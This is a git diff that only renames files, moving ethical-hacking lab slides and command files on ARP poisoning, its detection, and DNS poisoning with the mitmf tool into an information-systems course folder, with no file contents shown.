a/EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_detection/Detecting_ARP_Poisoning_xarp_lab.pptx b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/ARP_Poisoning_detection/Detecting_ARP_Poisoning_xarp_lab.pptx similarity index 100% rename from EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_detection/Detecting_ARP_Poisoning_xarp_lab.pptx rename to FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/ARP_Poisoning_detection/Detecting_ARP_Poisoning_xarp_lab.pptx diff --git a/EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_detection/commands.TXT b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/ARP_Poisoning_detection/commands.TXT similarity index 100% rename from EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_detection/commands.TXT rename to FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/ARP_Poisoning_detection/commands.TXT diff --git a/EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_mitmf/ARP_mitmf_tool__screenshots_lab.pptx b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/ARP_Poisoning_mitmf/ARP_mitmf_tool__screenshots_lab.pptx similarity index 100% rename from EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_mitmf/ARP_mitmf_tool__screenshots_lab.pptx rename to FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/ARP_Poisoning_mitmf/ARP_mitmf_tool__screenshots_lab.pptx diff --git a/EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_mitmf/commands.TXT b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/ARP_Poisoning_mitmf/commands.TXT similarity index 100% rename from EthicalHacking/Labs/1_Attack_Networking/MITMAttack/ARP_Poisoning_mitmf/commands.TXT rename to FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/ARP_Poisoning_mitmf/commands.TXT diff --git a/EthicalHacking/Labs/1_Attack_Networking/MITMAttack/DNS_Poisoning/DNS_mitmf_tool_lab.pptx b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/DNS_Poisoning/DNS_mitmf_tool_lab.pptx similarity index 100% rename from EthicalHacking/Labs/1_Attack_Networking/MITMAttack/DNS_Poisoning/DNS_mitmf_tool_lab.pptx rename to FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/DNS_Poisoning/DNS_mitmf_tool_lab.pptx diff --git a/EthicalHacking/Labs/1_Attack_Networking/MITMAttack/DNS_Poisoning/commands.TXT b/FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/DNS_Poisoning/commands.TXT similarity index 100% rename from EthicalHacking/Labs/1_Attack_Networking/MITMAttack/DNS_Poisoning/commands.TXT rename to FSCS728_Information_Systems/05_1_Attack_Networks_MITMAttack/DNS_Poisoning/commands.TXT